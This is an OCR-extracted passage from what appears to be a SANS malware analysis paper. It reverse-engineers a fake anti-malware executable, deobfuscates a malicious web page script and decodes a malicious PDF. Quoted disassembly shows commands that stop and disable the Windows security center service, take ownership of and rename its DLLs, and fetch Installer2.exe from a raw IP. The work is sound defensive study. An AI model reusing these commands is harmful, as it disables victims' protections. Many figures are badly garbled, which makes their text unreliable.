33C0 xar eax, =ax
21C4 (02010001 add eap, 3
£2. 1000 'nﬂ‘ i ‘AFX T

00074TE [ RETUEN. to clzpudke. DMETATE fram clemaile. CO4UIES

Gammand | e
(s rahe 3 hoaica o

=l HR ackdress - HW bresk on sccess

o 50 coh I hrown, 2 cals 1 ressed hchos

Figure 7: An Original Entry Point is found

Hidden Artifacts from Unpacked Payload

Once it is loaded into IDA Pro Disassembler, a program flow is presented in a

Control Flow Graph (CFQ) facilitating more straightforward reverse engineering (Figure

9). It is nice for readers to be familiar with this software when working on executable

reverse engineering with Chris Eagle’s IDA Pro Book (Eagle, 2008). Most of the

functions match the findings in behavioral analysis. Meanwhile, we have attempted to

reverse major routines and rename them for ease of follow up later (Figure 8). Here is the

description of the reverse-engineered functions:

Function Name

Function Description

Name

ReadAndGetMaliciousPath

Read in the temporary path name with malicious
payload.

SetRegKeyToAntiMalware

Create registry entries and disguise as a legitimate
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Anti-Malware software

SleepNOpenWSCSVC32 Sleep for 15000 milliseconds and then create
Wscsve32.exe process.
BackupMaliciousFile Simply backup clspackxq.exe as dhdhtrahdrirby

DisableCurrentProcessAn | Disable the original system files and DLLs and
dReplaceWithMaliciousPr | replace with the attackers’ payloads.
ocess

SetRegKeyForClspackxg Set up registry entries for C/spackxq.exe.

CreateMaliciousProcess Create and open Wscsve32.exe process

start proc near

CommandLine= byte ptr -116h
Buffer= byte ptr -168h

sub esp, 168h
call ReadAndGetHaliciousPathName
test eax, eax
jnz short loc_4B1EF2
[ 1
v
EEN L
SetRegKeyToAntiMalware
eax, eax loc_4B1EF2:
short loc_481EB6 call SleepNOpenWSCSUC32
Xor eax, eax
add esp, 188h
retn 18h
start endp
v
EAN L
call OpenfAntiMalwareRegistryQuerylLicense
test eax, eax
jz short loc_A4B1EB6
[ 1
v vV
EENL EAN L
call BackupMaliciousFile
loc_461EB6:
call DisableCurrentProcessAndReplaceWithialiciouProcess
call SetRegKeyForClspackxq
lea eax, [esp+188h+Buffer]
push eax 5 1pBuffer
push 184h ; nBufferLength
call ds:GetTempPathA
lea ecx, [esp+188h+Buffer]
push offset aClspackxq_exe ; “‘clspackxzqg.exe’
push ecx
call ds:1strcat
lea edx, [esp+118h+CommandLine]
push edx ; lpCommandLine
call CreateMaliciousProcess
add esp, 4
call BackupMaliciousFile

Figure 8: Program Flow of Unpacked Clspackxq.exe
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Reversed Program Flow:

Call ReadAndGetMaliciousPathName;

If (Malicious file clspackxg.exe is found from the target file path and
folder) Then
Call SleepNOpenWSCSVC32;
Else
If (SetRegKeyToAntiMalware is successful) Then
Call OpenAntiMalwareRegistryQueryLicense;
If (OpenAntiMalwareRegistryQueryLicense is successful)
Call BackUpMaliciousFile;
Else
Call DisableCurrentProcessAndReplaceWithMaliciousProcess;
Call SetRegKeyForClspackxq;
Call CreateMaliciousProcess;
Call BackupMaliciousFile;
EndIf
EndIf
EndIf

Figure 9: Program Flow of Clspackxq.exe

Meanwhile, it is worthwhile to highlight two hidden artifacts that IDA Pro disassembler
has revealed:

Hidden Artifact #1: Take ownership over the wscsvc service

When calling function DisableCurrentProcessAndReplaceWithMaliciousProcess,
it disables anti-virus notification flag of the Microsoft security center in the victim
machine, stop the current legitimate WScSVe32.6xeé service and try to take owner of the

legitimate system files for WScSVc services and replace it with malicious files. (Figures 10

and 11)
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call ds:RegOpenKeyExA
test eax, eax
jnz short loc_4616A7
H l
EAN L
mov ecx, [esp+52Ch+hKey]
lea eax, [esp+52Ch+Data]
push 4 ; chbata
push eax ; lpData
push 4 ; duType
push a ; Reserved
push offset afAntivirusdisab ; “AntiVirusDisableNotify™
push ecx ; hKey
call ds:RegSetUalueExA
mov edx, [esp+52Ch+hKey]
push edx ; hKey
call ds:RegCloseKey
0
BN Ll
loc_4016A7:
mov ebp, ds:WinExec
push ] ; uCmdShow
push offset CmdLine ; "net stop wscsuc"
call ebp ; WinExec
push 8 ; uCmdShow
push offset aScConfigWscsuc ; "sc config wscsvuc start= disabled”
call ebp ; WinExec
call sub_461578
cmp eax, 6
jb loc_ 481751
I
Nl
Taa aav Tlracn+L2rhafmdl inal

Figure 10: Stop current wscsvc32 service and disable wscsvce to start
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add esp, 8
mov esi, eax
test esi, esi
pop edi
jz short loc_481745
L
push esi ; int
push 1 ; int
push 1D 8h = iint
push offset aTakeownFSystem ; “takeouwn /f %systemrootZ\\System32\\uscapi™...
call sub_466944
push esi
call sub_4868EE
add esp, 14h
v
EAN L
loc_u4B1745:
lea ecx, [esp+52Ch+CmdLine]
push (5] ; uCmdShow
push ecx ; 1pCmdLine
call ebp : WinExec
v 3
EAN Ll
loc_u461751:
pop esi
pop ebp
add esp, 524h
retn
DisableCurrentProcessAndReplaceWithMaliciouProcess endp

Figure 11: Take ownership of and rename the system files

«MLTCAL « Ut 1 U

ktext:864116886 ;
ktext:004110B0 aClspackxq_exe
-ktext:004110B0

-ktext:084116BE

.ktext:804118C0 aTakeownFSystem db
-ktext:00841106CH
-ktext:064116CH
-ktext:004116CH

db

.ktext:864116CH db
-ktext:064116CH db
-ktext:864116CH db
-ktext:864116CH db

.ktext:0041186C8H db
ktext:0041106C0 db
ktext:00411298 ; BYTE Data
ktext:00411290 Data db
ktext:864112986

ktext:00411294 db

char aClspackxq_exe[]

; DATA XREF: sub_u481B88+2FTo
; sub_481B66+2FTo ...

‘ctlspackxg.exe’,8

align 16h

‘takeown /f %systemroot%\System32\wscapi.dll’,BAh

; DATA XREF: sub_4815C8+172T0
‘icacls %systemroot%\System32\wscapi.dll /grant administrators:
‘ren %systemroot%\System32\wscapi.dll wscapi.old’,BAh
‘takeouwn /f %systemroot%\System32\wscsvc.dll',BAh
*icacls %systemroot%\System32\wscsvc.dll /grant administrators:
‘ren %systemroot%\System32\uwscsvc.dll wscsvc.old',BAh
‘takeouwn /f %systemroot%\System32\wscui.cpl’,BAh
‘icacls %systemroot%\System32\wscui.dll /grant administrators:F
‘ren %systemroot%\System32\wscui.dll wscui.old',®

*139',8 ; DATA XREF: sub 4811a6+ETo
. Sub_hﬂ11ﬂﬂ+5310 S
[§)

Figure 11: Take ownership of and rename the system files - Details
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Hidden Artifact #2: Attempt to download Installer2.exe
The URL shown below attempts to download /nstaller2.exe from a Ukraine site.

However, it is not referred and used by any functions. (Figure 12)

-ktext:004112D68 ; BYTE a1_8

-ktext:004112D8 a1_@ db *1.8',8 ; DATA XREF: sub_4811AB8+12CTo
.ktext:804112D8 ; sub_4811AB+13ETo ...
-ktext:004112D4 aHttp91_207_61_ db "http://91.207.61.188/cqupdate/Installer2.exe’,8
_ktext:AAL112A1 dh a

Figure 12: Download installer2.exe

2.4.2. Script Obfuscation in HTML
Apart from studying the infection path and executable payload, we would like to
study obfuscated code in malicious HTML page seen after clicking into

http://izediotia.info/cgi-bin/ae. This is the HTML page which is first loaded in the victim

browser and the source code is likely obfuscated for stealthy purposes. Prevented from
interacting with the malicious HTML page directly, we simply load the malicious page
source code under the Down/oad tab in Malzilla (Spasic, 2009). It is found that the script
is obfuscated and cannot be read and understood. Our objective is to deobfuscate and

analyze pJXv4b4_J5 _x function.

Firstly, we create another HTML file containing the extracted Javascript code and
load it into Internet Explorer with the Microsoft Script Debugger installed. As
argument.callee is found in the script function, it is possible that self-defense and
integrity checking of the script may be performed so as to prevent debugging by others.
However, it is fortunate that it is not. There is no check on the function length or its size.
In Figure 1, we have reformatted the code and put gva/() in a single line of code. For
debugging and showing the deobfuscated result in éva/(), a debugging keyword
“debugger” should be added as a breakpoint a line above the gva/(). Finally, We load
this reformatted HTML page in the browser and Microsoft Script Debugger is fired up.
Afterwards, the deobfuscated éva/() value could be displayed immediately when we input
P27 _13h80e2K2 in the Command Window in the debugger (Figure 2) . Finally, We
could find the payload download URL shown in Figure 3.

Anthony, Cheuk Tung, LAI, Oxdarkfloyd@gmail.com 29

© 2010 The SANS Institute Author retains full rights.



Comprehensive Blended Malware Threat Dissection

However, portion of URL after http://izediotia.info/cgi-bin/ae does not match to

the loaded URLs in Network Miner, We could attribute the difference to the randomly
rewriting portion of URL.

d only: file:// gs/AdministratorDesktop/SEC602/Malware/obfuscated/fevil2. himl [break]

<htm1>

<head>

<{script>

function pJXulbh_J5_ x(x6_46_KC5Dd4_W, XJ7JF7_W){var a_lbe_ PultoK = arguments.callee;a_Ibe_ PultoK = a_Ibe_ PuXl
debugger

eval (P27_13U80e2K2) ;

2| [eturn 85}

</script>

</head>

<body onload="pJXulb4_J5_ x() ;">

<input type="hidden™ id="aa" wvalue="1">

<input type="hidden™ id="af" value="54FB8612DB71814C97E99BA189228D8AFBABYF BBEB64981BAACIEB273318C047DE7CEL4639CBD
<input type="hidden" id="ab" wvalue="1">

</body>
</html>

|~

Figure 1: MS Script Debugger: Insert “Debugger” as breakpoint above Eval()

Command Window

(P27 13h80e2K2

"var A Y2A  w=-1;varV¥d__E16 ="01";var lookv7_xXTqx_k = navigator.appMinorVersion;while((A_Y2A___ w = lookv7_xXTqx_k.indexOf('";SI
IET_ eoH \+N1 TOTPB F55LW2; }whlle[vnSZBET eoH.length < 20] {vn528ET_eoH +="00";}p5Viq_81n +="1"+ vn528ET eoH}var flU___ 56ul =
XJ7IF7_

"'564FB8612DB71814C97E99BA189228D8AFBABIF0BEB649810AACIEB273318C047DE7CE4639C0D3EBBA86A25F1612D66E10DB25C26DB2A
949104B51126A7C8BCEE9A7707B70BACF46CICABAACA4DD26ABCBFF472225017822C31893EE37EA86567A05A213FF10D7DF635A36C9115
||[F32F97961E232535776DEBB79623AAFB003AFBOEIBC2DF531AED3F8472A580E3FF092F986D93737A264B641F0593658CAEASA360293D293
x6_46_KC5Dd4_W

undefined

undefined

a_Ibe_PudMoK I

'a_| Ibe_ _PudMoK' is undefined

a_me_Pu4MoK

'a_lbe_PudMoK' is undefined

Expected "'

P27 13h80e2K2

"var / A Y2A  w=-1;varVd__E16 ="01";var lookv?_xXTqx_k = navigator.appMinorVersion;while((A_Y2A__ w = lookv7_xXTqx_k.indexOf(";SI
ET_eoH += T07P3_F55LW2 “Jwhile(vn528ET_eoH.length < 20) {vn528ET_eoH += "00";}p5Uiq_81n +="L" + vn528ET_eol-l Jvar f1U 56ul = ¢

a_lbe_PudMoK
'‘a_lbe_Pu4MoK' is undefined

Figure 2: Command Window: Code in eval() is deobfuscated with inputting

function name

3);if {y_D5h_n_2n =="1")Vd__E16 = "02"else if [y_D5h_n_2n =="2")Vd__E16 = "03"else if {[y_D5h_n_2n == "3")Vd__E16 = "04"else if [y_[

iMU___ 56ul. setAtlnbute[' 'src”’, "'hitp:ffizediotia. mfolcgl—bm;‘aeleSafZafddvm 00f060006R0531305¢102Td1d56db2" + p5Viq_81n);document.bi

Figure 3: Payload URL is shown
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2.4.3. Summary

From the above static code analysis, detailed code logic dissection is presented via
unpacking and reverse engineering. From script deobfuscation, attacker has attempted to
hide the payload download path from the malware analyst and facilitate stealthy
approach.
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2.5. PDF Malware Analysis

From the above analysis, we have figured out the infection path and there are several
payloads downloaded to the testing victim machine. One of the payloads found is a
malicious PDF file. In this section, we focus on the analysis of the malicious PDF file.
As the suspicious PDF file is extracted from Network Miner that disassembles the
network traffic and put any files classified by various source IP addresses under

Assembled Files folder. Let me present its characteristics as below.

File size: 9773 bytes

MD5 : 946dd48c5e93d5f8d999%e200e48f16b5

SHAl: db5aaelb7fcbf4e0651c9f7£7955342£d4902bdb4
The suspicious PDF file has been submitted to Wepawet (UCSB Computer Security Lab,
2009),which is a service for detecting and analyzing web-based malware. It currently

handles Flash and JavaScript files, but there is no finding shown (Figure 1). Do you think

this PDF file is not malicious?
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Analysis report for evil.pdf
Sample Overview

File evil.pdf
MD5 946dd48c5e93d5f8d999e200e48f16b5
Analysis Started  2009-12-31 08:58:17
: Report Generated 2009-12-31 09:00:26
Jsanp version 1.03.02

Detection results

~ Detector  Result
Jsanp 1.03.02  benign

Warning:

e When analyzing a file (rather than a URL), Jsano does not examine external resources, such as iframes and scripts. In
addition, properties such as document.location, document.referer, and document.cookie, which are sometimes used by
malicious scripts, are not set.

This may affect the detection of malicious code.

Exploits

No exploits were identified.
Deobfuscation results
Evals

No evals.

Writes

No writes.

Figure 1: Scan result from Wepawet

2.5.1. Behavioral Analysis

In behavioral analysis, again, we need to make pre-analysis preparation as in Part
2, once opening the malicious PDF file, it is found that it also tries to download séfup.exe
and setup01.exe (Figures 2 and 3). The findings from behavioral analysis are the same as
those in Part 2. Let me proceed on code analysis against downloaded malicious PDF
sample and understand its function in the next section, whether it matches our finding in

behavioral analysis.
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Z Networkdiner 0,91

Fe Todk heb
| Select a retwodk acapler in the ket -

Fiamers.  Chent host C. port
a 192 168 €3 134 MALUWARE-TEST] [onaase b | [nabvasts dat ] [Windoms| 2483
24 192768 43 134 MALWARE-TEST] [mabware aat] [rmabware et | (Windows) 20
54 192 168 43724 MALWARE-TEST) [mabware test] [makvasedet | (Windowss) 2
9% 192 1682 82124 MALWARE TEST] |malwe test] [maksaredest | (Windoms| 205
942 192 168 43134 MALWARE-TEST ] jmaiwate test] [malvasie-test | (Wirdows| 2708
1021 192 168.43 134 MALWARE-TEST] |[maiwate tect] [mabvuaredest | [Windows) 2707
1052 192 166.43 134 MALWARE-TEST] [mabware tact] [mabwaredeat ] (Windows| 2708
1061 1592168 43 134 MALWARE-TEST] [rmabwate-beat] [mabmare-test ] (windows] 2709
1072 192 168 &3 134 IMALWARE-TEST] [mabware badt ] [mabearadest | [Wirdoms) 2no
1085 192768 43 734 MALWARE TEST) [mabware bast] [madvasio et | Wirdows| an
n»n 192 168 83 124 MALWARE TEST] [madware tast] [raabwaae de22 | (Windows| 2
na 192 168 43124 MALWARE -TEST) [mabwaie test] [mabware 2est ) (Wirdoms} N3
1183 192 168 43134 MALWARE-TEST) [maware test] [makwaredast | (Windows| N4
& 192 168.43 134 MALWARE-TEST] [maware tact] [malvare et | (Windows| 27115
nm 182 168 43134 MALWARE-TEST] [maware tact] [mabwaredest ] Windows) 216
ns 192 168 43 124 IMALWARE-TEST] [mawars beat] [mabware-3ast ] Windows| ny
10 152168 43734 MALWARE-TEST] [mabwars et ] [maknaiedest | (wrdows g
1200 192 168 43 134 MALWARE-TEST] [mmabwain baat ] [madaste 4a3t | [Wirdoms) ons
1208 192 168 &3 724 MALWARE TEST) [mabwaie beat | [madware 4at | (Windows| 20
1219 192 168 83 124 MALWARE TEST) [mabwate tast] [rmabuaie det | (Windows| o
1228 192 168 43 124 MALWARE -TEST) [mabware test] [mabware 4azt | (Windoms| 222
1237 192 168.43 134 MALWARE-TEST) [reaiware test] [makusredast ] (Windows| 223
1250 192 168.43 134 MALWARE-TEST] [rmawars tact] [mansredact ] [Wirdows} 2724
1260 19216543134 MALWARE-TEST] [raware tact] [mabvaresect ] [Windows| 2725

Sarvet hodt

14321513061

66,193 237 125 fandota nlo|
9317495140 [operatedout. cn)
212137183163 [rubedout o)
93.174.95 140 |operatedaudt. on| (washedout cn|
92,48 91 146 [readersfind oeg]
2,48 91,145 [readenfind o]
92,68 91 1485 [readerciind oog]
S2.48 91145 [1waderdnd o]
243 91 145 [leaderdvad og)
2,48 51 148 [ieaderted ong)
92 £3.91 145 [ieadersfnd oag)
92,4891 145 [readersind ong]
92.3.91 145 [readarcfind ong]
9248 91 145 [readersind oeg)]
S2.48.91 145 [readecind o]
248 91 145 [readerting osg]
24391 145 [imadersfend 0g]
924351 145 [ieaderstvd oig)
2,48 91 145 [readersfind oig)
92 48 91145 [readenfind oig]
924891 145 [readenfind ong]
£9.33.238 101 [fndnarcel.cegl
£3.33.238.101 [Indhacsad.cog|

Figure 2: Sessions created after suspicious PDF is executed

B Hetworkpienr 0. 91
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Soxece boat S pont
S5 TR DTN fendita o] el ]
BITLENN jpwdedetcr|{ 1P H
22117 1ES1E7 pubednt on] P &0
240919 puadertestory 10RO
W40 1% peadentrd ongl o w
B2 40315 peadenied orgf iled
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TR VAT T HALWARE TESY

192 968 43 134 MALWAFE TEST
150 988,43 134 MALWAFE TEST)
192 956 A0 134 MALWARE TEST|
T VR TH (MALWAE ST
192 968 41 10 MALWIFE TEST|
V52 968 43 128 MALWEFE TEST)
152 138,43 134 MALWARE TEST)
192 15843 134 MALWAFE TEST|

0 pod

TCF 20
JCP 20
1CP 216
0P 207
o0 g
1CP 2o
wcr2m
TCP2re
CP 275

Frotocd Fhanawe

FipooNoens  oH Etedeic (VNG ) ochet Jhaue T

Hy Gt ovne wetup woell] ootk 7
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HyGoNome  woden et 2601721 bt

Figure 3: Downloaded files extracted by Network Miner

2.5.2. Static Code Analysis
Firstly, We examine the file header of the target PDF file with a python program

2000 300 48 AM
A0 208 48

B 272006 308 W au
G528 2149008 209 53 AM
108 21272008 30954 AM

S podt Protoc. St e

€0 1271872009 307
&0 Hip 121872008 3:07
& Hitp 1211872008 307
0 Hitp 12218/2009 303
€0 Hitp 12/18/2009 308
&0 Hitp 12/18/2003 308
&0 Hip $2/18/2009 308
0 Hitp 12/18/2009 3.08
&0 Hitp 12182009 3.08
& Hilp 121872009 303
&0 Hitp 1241872008 308
& Hitp 1271872003 308
€0 Hitp 121872003 308
€0 Hitp 12/18/2009 208
&0 Hip 12/16/2003 308
&0 Hip 12/18/2009 3.0
&0 Hilp 120182008 3.0
&0 Hitp 12162008 3.0
&0 Hitp 121872003 308
&0 Hitp 1241872008 3:08
€0 Hitp 12/16/2003 308
&0 Hitp 1271872003 3.09
£0 Hitp 12/18/2009 3.03
&0 Hip 1271872009 3.03

Detuic

Yo bnaw /et el V01 DOMELLGEA T
Jamhgu'setipeo

A g ol wee

den/cxradvivae

Josnuce da

aredifeci st

Jomoried/vet

/3 LN DO S el gt VT L
TR DO E S0 28 mem bt ST A ik

called PDFiD (file name is pdfid.py) (Figure 4) and detailed structure and object layout

with pdfscan.py (Figure 5) from the Origami PDF analysis package which is a Ruby

framework designed to parse, analyze, and forge PDF documents (Delugre, 2008). It is

found that there exists stream and Javascript objects as well as OpénAction event. Stream

object is an object with association of a dictionary and raw data to be processed in a PDF

file (Raynal & Delugre, 2008). PDF could contain Javascript object, when the victim

opens a PDF file, OpenAction event is triggered and malicious Javascript code is
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executed. It is popular that malicious and obfuscated Javascript(s) are embedded within

stream object.

:\Python26>python c:\pdfid_vB_B_9\pdfid.py "C:\Documents and Settings‘malware
esktop\PDF Exploit\evil.pdf"

DFiD 8.6.2 C:\Documents and Settings\malware\Desktop\PDF Exploit\evil.pdf
PDF Header: ZPDF-1.3
ohj

endohj

stream

endstream

xref

trailer
startxref

/Page

/Encrypt

/0bhjStm

/Jd8

sJavaScript

/AR

/Openfiction
/AcroForm
/JBIG2Decode
/RichMedia
/Colors > 2724

8
8
2
2
1
1
1
1
%)
8
1
1
5]
1
%)
a
%)
5}

Figure 4: View PDF file header and objects with pdfid.py
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|-+
i

» pdfscan.rb /root/evil_9773.pdf
Reading file...

IFast scanning...
File:./root/evi1_9773.pdf
FileSize: 9773

I STrucCcture|
Header: %PDF-1.3
Revisions: 1
Catalog: 1
object: 8
endobj: 8
stream: 2
endstream: 2
/0bjStm: ©
xref: 1
trailer: 1
startxref: 1
Root (current):
Size (current):

{Properties|]
/Encrypt: ©
EmbeddedFile: 0

Tri1ane

JAA: O
/Names: 0
/GoTo: 0
/GoToR: 0
/GoToE: 0
/Launch: 0
/Thread: 0
JURI: 0
/Sound: 0
/Movie: 0
/Hide: 0
/Named: 0
/Set0OCGState: 0
/Rendition: 0
/Transition: ©
/Go-To-3D: 0

ArmActions)
/AcroForm: 0
/SubmitForm: 0
/ResetForm: 0
/ImportData: 0

Figure 5: View detailed PDF header and structure with pdfscan.py in Origami
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Once we have simply shown the malicious PDF file in command windows. The
data in stream section is encoded with F/ateDecode scheme and unreadable characters are
displayed in “7 0 obj” and “8 0 obj” sections in the following figure (Figure 6).
FlateDecode decompresses data encoded using the zlib/deflate compression method,
reproducing the original text or binary data (Adobe Systems Inc., 2008).

:PDF-1.3
Pt

0hj<</TypesCatalog/Outlines 2 @ R/Pages 3 8@ R/Openfiction 6 B R>>endohj
0bj<</Type/Outlines/Count B>>endobj

0hj<<{/Type/Pages/Kids[4 @ R1/Count 1>>endobhj

o0bj<<{/Type/Page /Annots[ 5 @ R 1/Parent 3 B R/MediaBox [8 0 612 7921>>endobj

0bhj<</Type/Annot /Subtype /Text /Name /Comment/Rectl[25 1660 60 1151 /Subj 8 @

R>>endobj

B obj<</Type/Action/S/JavaScript/JS 7 B R>>endobj

B ohj<<{/Length 158/Filter/FlateDecode’>>

tream
E-AAS AU {0 p pxte xTBe diio ‘8 ﬂ]i’aE}ﬂ/3¢Ha9naé HELICH>» [Tul0 [Badlrrs4Jy~uy+
L réeU{¥ua Qv +urBioiB}2al JBg=d leunT9¢L[?HJH0kAG°‘ﬁEAZﬁBwrilhm“kJmOYBLi:
endstream
endobj

B ohj<<{/Length 922808/Filter/FlateDecode>>

tream

v1’nUr-R|HIDjix ClJX|1"08°J0P XHcIQL{aly*-“>”m“ rle2RR|Ec—x< a6 ¥6hcan=B|[FRd 0¥
B2avSf7078+»:=ByfolL- i of i 1E08a{ Yoz 2€x% ni. |[GRpsv 0 -MEENJ IReyl|is s 2 Kn> =
\NEx

Figure 6: Encoded with FlateDecoder

Secondly, We can decode and uncompressed the suspicious PDF file with a
python program called pdf-parser with the following command as it supports
FlateDecode:

pdf-parser.py -f c:\evil.pdf > c:\evil.txt

From the following figure, the data in the stream object has been successfully decoded.
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<<
JLength 9200
FFiter /Flatedecnde

>

200203 20d420820520627 5 1éazb 32 T4 003 26F 20wz 2ozszzafzrszuzsozoe-eduo:sszaozrs-nz)3:0::25:09:5&50:03:4;:1'zoezsfzs;:oo:abmznz.czzoz?szufzsovnzsrzsrmzu
<263233:7¢zmzisxlsz?ozidz}oz}l27913h261:6c:62:3)‘7427023823822& 230277 26826026C 265228270 23523 5233247254731 26522023C 220344 M4 a270236256241 275228262 26576676)
TT724628425F 252542322, mo.nzns.;ozsfzsfzn*s7:34-5»:&-;6:5?. -6-:&?:77'60.Sdzlozzuzidzzazﬁzﬂﬂiz“z!fzsf‘u-hz?bﬂmzs&s 25F 268251 27 726022022b23D:
30'!3'3&!Y:GAZGJZSFZ”Z’C:OC'OSZ'M: TAT0822522077b2 TNl TT 222070324 T2 I 4 e300 2502322772702 7222023022027 324 F 23023373 F 237 20aza3 2 5F 23 32227 3275202273274
ommm:6oz2ez«zo¢zensrvmamzemmmnmsnlossmozzrnoz\2z)sz;s:wm:smmms:ssxsr:svnozs.zzoxxazzo:sozomsnszsuzwzsrnoxmzoz 4221
4324230257 244220223220232 23623261 257 263238250 23522023d22023123b270260374 236267 4233263256232 251 270272251 2302203702362 70265276264 26C228256260270238257 2775
4324228438235 241 739232231 232230034 241 23023023524 S 23023031 24 3242730234 23904224 3230230233 24 224 6234 230232 24023923 7230236233232 241233 24 224 523023123624 2234 231 2
SRS rIG 230241 23032230235 M X I1rI] 23A 0 A 2a2 A 232 T F3B 20 2SO A I 2300 S A2 248 a4 235241 233923 S I A1 T I TR0 IS 02T 230231230241 23624223324
FAG242233 23423624524 2230742 230230238237333 234 241 332238233234 243231 M1 2304 243242 4623624 I 4623633 7231 24624 M4 6242 24624 534624 223023 S 223 5 A 23223 72502302453
42339233237244242 23123024624 3241 236234 231 234 24 5246234 24 524 L 24 3284 246234 241 24 3233234 235233242231 234 4 6244 241 44 238244 236236232 24323473024 523504 624 5237239243 33
1238231739244 231 733231235244 245230233230244 232281 730230239237 23%230233230083 231237243237 24423823823823923 5232231 230239232 244 232284734 238231 x3 023624 3 238230 244
230252202 2FA 2R I940237 AN 242239230251 24 8 234 24623 5230231 M4 230243025320 24 5230210230230 624623673023 24224 52462 I 2302 235237251237 236216250234 251 24623 9;
4424 0244238245245 2322302364 5237230230230 25524 2330236234 24 5234 044 24123323625 7241336246232 230231 34 S 244 23624 S 24 524 223824 2244236237 238238233 242 233244 14 2 244 23025
1238230237 23824223003]1 23723723624 5232241 240 232242 2392359231 237242234 230234733 230232 244 243 241 23523623 52352304 5234 234 231 08 524 524 524 5234 231 242 244 241 734 239242 24
230239233230 2 A A0 05 Y 2 A AL I3 S TR e S I S R N T A IS L A S A 36 S P I A RIS I 02 A S NN I B A4 A0S VLI 223835 2822028 284 245
4124224204324 224523723541 231232238 232231 234 246330237234 244 23524323 723733 523823023 723623433023 0244 244 23024 5 230237230237231 333237233 23024 523623 0233343233243 75
2230234237244 23123423023224324323 5230244241 2322433623623 5239232234 24323323724 6244244 231 342 230 237238238241 23 224 2237230230231 23323723424 2243 244 23623924 523124 !
IRV i 2452l rd 3234 nad 24 2233231 23 2a 0TI N 23T 230N 2402323935403 28373923923 S 2d 0238232 239232 284231 230230 233240234 28273 23824 524123123 S 34 240231
F224223074 3746241 738253216251 246734 250234 73524 3301 25 324624123026 32372352724 5235231 MA 245 724 524174 5264 4125123853 7M1 29423 524523823 374621725423 724 32372457
S 230TML 4123530236237 030 24423304624 5044230244234 232242 23824623 5246234042 23023 2 4 3 4621 24 1243 244 230243 23223623 723723303 224623323824 2243 244 241233 230243245
TI0235233234 23824 524 2233 244 241 248244 235238231 232232231231 030 23023323924 2242 236235230235 23024 1 24 023724 5230234 4 528 S X34 234 29038230244 24 3282 X30623223 5230 24 52432
l5!!7“22«t!?:‘):)lxn:lsn52)1:)1:452!1!)92461!)zi!x}lulz39219u325759"7:17217:56!3!:)22)12"NINZNHHIJYUSNZN.233132237872162)5:31231t!!x:ﬂzlla
2244230238241237231232232030 245233 24623623024 6241 23R23623823324623624 5231238244231 4 2238253724424 12342 246235237233230234 24628 5235242331 232237237 23024 2731
2302392322392 uzn:43234zﬂzsewl*sn:az.ﬂ.}az;7:3&-36.32:31-43:31:30 36412452 35135 39242:‘2:40.3zzuzzzzausz-u.30233230:41:37:«:uz:aun.:z-zs-ls-uznz
33238230z39230242230238 241 M 3240230 245232738241 2230232 284 2302384 2 3B TA2 24 23R 2322347 2Nl 2304 3242 3032238230 241 AT 2IZ 204 23 V24224 9239235233 242233 284
22302332372302373235236233 25224 1833 M 6244259244 230235237242 23523023 5245231 238244 230270233624 1 238738236236 246 236234 23046271 234 233234 244 MA 251 23723625024 527
T3424523323723824 524323123924 2230244 236242 231235232231 231 4624 224 523524 239523223923 823523824 ’3“13]2‘G.A&39233233231221203:35237412233:36.35237.3‘7:36245246.
3433524a 243243242734 232239232230234236233 24 523929 3 23324273923 523973 82364 5238230233 231230243244 30242744 238242242283 23524223804 224 3134 23223024 2230244 2
)uixnumsrnmnonu;su}mmx«nsusuunxunozm‘uznznnozuu)ueu:z)zns:uzuzl?::ozn:nxnnszxzz;znzzuznzux«z;unztez)oznznm
2352312353724 2231 245244 24323623 0238232231 250232233 233232 M4 24323223023 5241 24 5242 24623024624 323 523823623 5230232234 235233230033 241 24224 3241 23924 2230230232 244
3223723023924124173023023824324323 223423 524124 5244 23723023923 5239230236234 23923623 723123024 323028473024 5230234 24 2244 24 22352372 31'37:)8:3323!:33*“2422“*432!
2EEla31 Al A3 I Bl a0ad 3239 e a0 rad 3y ad NS0 T rE e 3234 244 25044 230202244 253204 234 28 3 24 241 281 245241 23 S 24 250234 232 78A 234 24 522624 5237216244 251 23
FFA23033623324532382432360M 234241 42232040 23323323 3233234 4 S A R4 534623323 823823 5238 M 2244233 355246234 24523073023337024123773824 22302 16232238234 24 53314
]9*43.43:4234S'46132:30136246236.31:39"3’234.43232234‘lsz“.a-lzuﬂuz?-tz«s2231233:33233.!5:43.‘!:45233:‘1.44.3?:44'37236237232.35230230237232.31.39131:4!'H
3233239733244 082234 237231 2432352303023 7241 235043 36233235236232 734230232 242 04 024 24 224328 5234 23923923923 323223123 323224023 524 324 5 239231 a0 04 30244230234
zmsmmmmw6zszmmumszzemmmmxmon)usmznz;m.xsmozummuemnmmmmmezuz:oznuzmu&zunanemnsmumn
3 ?JO.Sﬁ?ﬁi;g&gggﬁzg&imi:&%?z%znzn230?4!‘33237.4!.23323"1239234230:3823!:3 223123023 7244234 243236244 230230237237241233231238230232238234 238238231 23024
2312312312222 2 2Gax0dz0a

weaf [(3, “xref'), (3, '0°), @3, "97)., (3, "00CCOO0000'), (3, '€553%7), (3, 'F'), (3, 'CCOO000017'), (3, '00000'), (3, 'n'), (3, '000000CORRT), {3, T000CO'),
trailer

<<
/i1ze 9
/hoot 1ok

Figure 7: Successful data stream decoding and decompression with pdf-parser.py

({31 )

Thirdly, preparing next decoding, every character “z” in the data in Stream object

has been replaced with “%” in the data stream in Figure 8.

Anthony, Cheuk Tung, LAI, Oxdarkfloyd@gmail.com 38

© 2010 The SANS Institute Author retains full rights.



Comprehensive Blended Malware Threat Dissection

HAdRAaMRAMIaMAREEXTEHOEREIHTHROOKET Hoek2aXE2Hb T ¥79Mb4H30%0ek0d
HI6RIERBEXTINILHITHOCHZEHOIHET KB T HOEKA IHIZHoeXET M33X06H4bMoeXToHZCh2aNTIH4f
HI6XITHET KITHOaRAIHET MEER2OMTbITOMOLHT 2H20%44 40X 70:36Kb6X41 X T5%20%3d
H2BHELETZHETHIBROANEEHOeRT 4K 3H2e b 361 KO CHOCHEENEEM3bM44%4a
HT0XI6XBEXALXTER20XIdH20%44 540N TONIOHBORALNTER2eX 7446 T ¥E3XT4H72569%0e
HETHEBHZINIDETOROLNTZ2H20KAZ2HAdNTLHTLHILHET XET BT X36XBEN4 3X38HOEHE5%2053d
H2BRIBMIbNT AN 2T ONZBNTbHEONOOHZON2THOLKTANTBMRZOK2OMTbHAZHAdRT LRI LHILHET X
HBT R36KBEX4 3H3THEEXEEHZbRZbMIbMA2HAdNT LT LRSI HET X5 X5 X36XE5H43538X65X05M2b
HZbRSbRTARTANZONEIHO1HT4H03HOBR2EHEERZOR2ANX T XX T dNT6 XL KT 2H20KA6K30KET XET
